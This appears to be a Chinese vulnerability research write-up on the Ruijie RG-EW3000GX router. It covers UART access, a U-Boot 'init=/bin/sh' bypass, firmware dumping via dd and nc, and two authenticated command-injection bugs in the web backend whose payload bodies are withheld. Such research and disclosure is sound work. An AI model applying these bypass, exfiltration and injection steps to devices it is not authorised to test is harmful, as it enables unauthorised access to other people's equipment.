Files
Penetration_Testing_POC/iot/RG-EW3000GX 从触摸到攻陷.md

412 lines
13 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# RG-EW3000GX 从触摸到攻陷
> 皮皮先生
> 来源:https://www.iotsec-zone.com/article/558
# 基本信息概述
**产品**:AX3000 双频WI-Fi6无线路由器
**产品型号**:RG-EW3000GX
**固件版本**:ReyeeOS 1.380.2222;EW_3.0(1)B11P380,Release(12222219)
# UART固件提取
## 前期准备
首先摸到真机先暴力拆掉,然后焊接杜邦线 GND TX RX
配合USB 转 TTL 串口模块进行串口调试 ,那么本次就使用最新研发的 **iot多功能调试板** 其中的UART调试功能
![0.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksre85782okye155a.png)
非常的贴心,还准备了网卡功能,对于我这轻薄本没有网口接口太友好了。
以往我们在遇到板子上面没有显示TX RX 又或者还得边插边调,他这个有个特别好用的点,你不用管谁接TX,谁接RX ,直接俩根线连URAT0或URAT1就可以了
![1.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksreglkxl8b7rkdti.png)
本次就插UART0进行串口调试
手动工作做好后,现在用MobaXterm 进行串口调试
![2.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrelw3yyv1suat5s.png)
因为无脑插上去的,因为RX和TX没有对上,没有输出日志信息
![3.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksreova2an9hcv4zr.png)
**连接规则**
```
GND ---------------> GND
TX ---------------> RX
RX ---------------> TX
```
这个时候只需要按一下UART0 交换按钮 ,他会自动切换RX TX,按一下马上就对上了,真的特别简单好用
![4.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrethat9ruvtaafh.png)
![5.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrew6xvq6kyvnsfk.png)
已经打印信息了
## 启动信息分析
MTD分区信息
![6.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrf11f1pyc4fuxe1.png)
观察启动信息其中就有选项 0 可以进入u-boot
![7.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrf3x6qkw3sglnlj.png)
最后正常执行会到登录认证
![8.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrf7cv7elfziiqhu.png)
但是我又不知道设置的啥密码,弱口令又进不去
先进入u-boot 再观察观察,重新上电 狂按0进入
![9.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrfdez12zdb59fup.png)
按help 看看有没有可用指令
![10.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrfhnlb3wrzhszmy.png)
其实像tftpboot bootm md 等可利用的命令都挺多的,但是我们直接暴力绕过u-boot进入shell 才更方便,这里我们的思路是把u-boot传给内核系统执行的启动参数 bootargs 加个init=/bin/sh 绕过
简单描述下绕过流程
```
bootargs 是 U-Boot(引导程序)传给 Linux 内核的启动参数
u-boot --> 把内核加载到内存 --> 其中把bootargs传给内核读取执行 --> 执行init=/bin/sh --> shell
```
## 绕过u-boot改密码
```
setenv bootargs 'console=ttyS0,115200n8 init=/bin/sh'
mtkboardboot
```
![11.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrfnohi1262dkzct.png)
进入shell ,接下来我们要做几件事
```
#挂载虚拟文件系统
mount -t sysfs sysfs /sys
mount -t tmpfs tmpfs /dev
#喂看门狗,不喂的话过了30秒就会重启后面挂载一系列操作就会白搞,所以先搞这个
#查看看门狗设备号
cat /sys/class/watchdog/watchdog0/dev
```
![12.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrfrp1tt16wt8fuh.png)
拿到251:0
```
mknod /dev/watchdog c 251 0
```
挂载 /proc 定位 rootfs_data 可写数据分区
```
mount -t proc proc /proc
cat /proc/mtd
```
![13.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrfxf1w8r1abb1fu.png)
找到对应的 mtd9 ,接下来 手动挂载 Overlay 文件系统并 chroot 进入真实系统环境
```
mount -t tmpfs tmpfs /tmp
mkdir -p /tmp/ov /tmp/root
# 创建 mtdblock9 设备节点并挂载 rootfs_data 分区(jffs2)到 /tmp/ov
mknod /dev/mtdblock9 b 31 9
mount -t jffs2 /dev/mtdblock9 /tmp/ov
#挂载 OverlayFS
mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/ov/upper,workdir=/tmp/ov/work /tmp/root
chroot /tmp/root /bin/sh
```
![14.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrg19wh5mn4ntmjw.png)
```
sync && umount /tmp/root && umount /tmp/ov && sync
reboot -f
```
把内存中的缓存数据写入flash,然后卸载 前面挂载的俩个文件系统,然后再次同步写入flash 确保保存成功
# 提取固件
![15.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrg5cri9yvnbop2c.png)
临时关闭内核日志输出,不然太烦了
```
echo 0 > /proc/sys/kernel/printk
```
## 配置网络
```
ip addr
```
![16.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrg8lmua7v16oukt.png)
可以看到网桥 br-wan 也就是 10.44.77.254 ,拿到路由器ip ,那么接下来根据10.44.77.0网段 去配置ip
windows主机
![17.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrgbr1chv2kolt3z.png)
虚拟机
sudo ifconfig ens33 10.44.77.200/24 up
![18.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrgf4ghuvl4dwgy5.png)
测试连通
![19.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrgi8c2cjccnoq0q.png)
## 查找固件
```
mount -t proc proc /proc
cat /proc/mtd
```
![20.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrglr9kadojdfmlw.png)
可以看到 我们需要的 mtd6 "firmware" 分区 15KB左右 ,接下来就是对这个分区
查看可使用的命令
```
ls /bin
```
![21.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrgp2qy8xlbt2qjq.png)
有dd命令 配合 nc 传
```
dd if=/dev/mtd6 of=/tmp/firmware.bin bs=1M
#虚拟机
nc -l -p 1314 > firmware.bin
#路由器
nc 10.44.77.200 1314 < /tmp/firmware.bin
```
![22.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrgvd0fv63gdkzqd.png)
没毛,接下里binwalk 提取下文件系统
```
binwalk -Me firmware.bin
```
![23.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrgybtr51ppz2xcj.png)
# 启动项分析
老规矩先从 /**etc/inittab** 看
![24.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrh2h546wnjrc9tm.png)
系统初始化最先执行 /etc/init.d/rcS ,没有找到该文件再往下找/etc/rc.common
![25.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrh4yut4ii2nie4w.png)
/etc/rc.d/S*,紧跟查看
**/etc/rc.d/S50lighttpd**
![26.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrh7r067un7q50jo.png)
这里就能很明显发现前端是 /usr/sbin/lighttpd ,对应的配置文件是 /etc/lighttpd/lighttpd.conf
启动的方法是/usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf ,这里都明确说明
再看下 **/etc/lighttpd/lighttpd.conf**
![27.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrhgwm72vn6z5zas.png)
开始这部分 加载功能模块其中 **mod_unifyframe** 就是锐捷自定义模块,定义了网站根目录 /www/ ,包括默认首页
这里定义了 CGI 映射关系,当url匹配到 /cgi-bin/luci 默认 走 /www/cgi-bin/luci 执行 ,匹配到.lua 就交给 /usr/bin/lua 去解释执行。
当匹配到 路径单独匹配到 uri.path 和 requst.pathinfo 同时满足的话就由`mod_unifyframe` 模块接管处理。
现在针对 自定义模块进行查找下
![28.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrhllopkqjpn2lcu.png)
init.d下面unifyframe-sgi
![29.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrhpkc6ilb7roo6w.png)
USE_PROCD=1 表示它运行在 procd 下,procd依赖 ubusd 总线 ,还得启动 ./sbin/ubusd
/usr/sbin/unifyframe-sgi.elf 后端主程序,建 socket
/usr/sbin/uf_ubus_call.elf ubus 代理
启动锐捷 Web 后端服务(unifyframe-sgi.elf + uf_ubus_call.elf),建立 socket 通信并支持 ubus 调用。
# 漏洞挖掘
直接真机测试
![30.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrhtczs8zaol2clu.png)
![31.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrhx2nfmx7d59jsx.png)
## 漏洞一
`unifyframe-sgi.elf` 内置插件模块 `configChange` 的 `cc_set`(0x414D58)→ `uf_get_url_config` 把用户提交的 `data.url`存在命令注入
把 /usr/sbin/unifyframe-sgi.elf 丢进ida,定位函数 *module_init_configChange*
![32.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksri25a2uyzqykrqu.png)
这里看几个关键动作,它设置模块名为configChange ,然后绑定的是 **sub_414D58** ,双击进入
![33.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksri5me5q6vdf9kxa.png)
获取三个参数 url ,module , function 的值 ,其中url的值给到string
![34.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrifed5hd8q6b6gr.png)
这里往下走其实还是做了一丢丢检测 ,检查 `string` 是否包含 `$(` 或反引号。然后通过snprintf 进行拼接,最后交给ufm_popen也就是popen执行命令
```http
POST /cgi-bin/luci/api/cmd?auth=这里填认证后的token HTTP/1.1
Host: 10.44.77.254
Content-Length: 202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: http://10.44.77.254
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
暂不公开
```
执行
![35.png](https://www.iotsec-zone.com/api/image/v2/20260819/dkssvgtdq22b7kevk6.png)
## 漏洞二
**dev_config user_list_note 模块 name 字段命令注入**
首先先定位没有安全检测的
```
grep -c "param_safety_check" usr/local/lua/dev_config/*.lua
```
![36.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrioriqo0vexj3ht.png)
主要就是先看这些为0的,然后再结合是否有相关危险函数的
```
grep -n "os.execute\|io.popen\|luci.sys.exec\|luci.sys.call\|forkExec" \
usr/local/lua/dev_config/dev_mode.lua \
usr/local/lua/dev_config/hwnat.lua \
usr/local/lua/dev_config/mesh.lua \
usr/local/lua/dev_config/repeater_config.lua \
usr/local/lua/dev_config/repeater_hostrouter.lua \
usr/local/lua/dev_config/user_list_note.lua
```
![37.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksris8r0baguult3m.png)
这里其实就是找可控参数,像dev_mode.lua 几乎就是全是固定字符串的execute ,我们进一步缩小到比如 os.execute(cmd) 类似可控的位置去做分析,比如该漏洞 user_list_note.lua
```
gedit usr/local/lua/dev_config/user_list_note.lua
```
![38.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksriw9nwnm9ifnayn.png)
这里就有很明显命令注入的特征了,接下里就是着重去看下sync_list 也就是 child_data ,接着往上翻分析child_guard_packaged_data
![39.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksriz4m2tbbyaoz0b.png)
这里就是说存在相同的mac 才 存入 child_data ,这样才满足能执行到下面 child_guard_sync 里面的 os.execute(cmd),那么就可以利用可控参数name进行注入。
接下里整个思路就是先注册一个儿童mac,然后利用相同的mac,进行name注入。现在第一步就需要去知道怎么注册
```
gedit ./usr/local/lua/dev_config/child_guard.lua
```
请求入口
![40.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrj2k99ofljszobg.png)
![41.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrj5917o8wzufmhn.png)
![42.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrjak7k6n9pl6kfj.png)
这里有说明如果是已存在的mac只能注册一次只能改字段,不存在就table.inset 重新设置 ,
最好会生成写入到配置文件里 持久化
![43.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksrjfzc3qz5vumegu.png)
废话不多说先上exp
先注册
```http
POST /cgi-bin/luci/api/cmd?auth=这里填认证后的token HTTP/1.1
Host: 10.44.77.254
Content-Length: 122
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: http://10.44.77.254
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
暂不公开
```
后利用
```http
POST /cgi-bin/luci/api/cmd?auth=这里填认证后的token HTTP/1.1
Host: 10.44.77.254
Content-Length: 157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: http://10.44.77.254
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
暂不公开
```
![44.png](https://www.iotsec-zone.com/api/image/v2/20260819/dksswrdov1fviwbazv.png)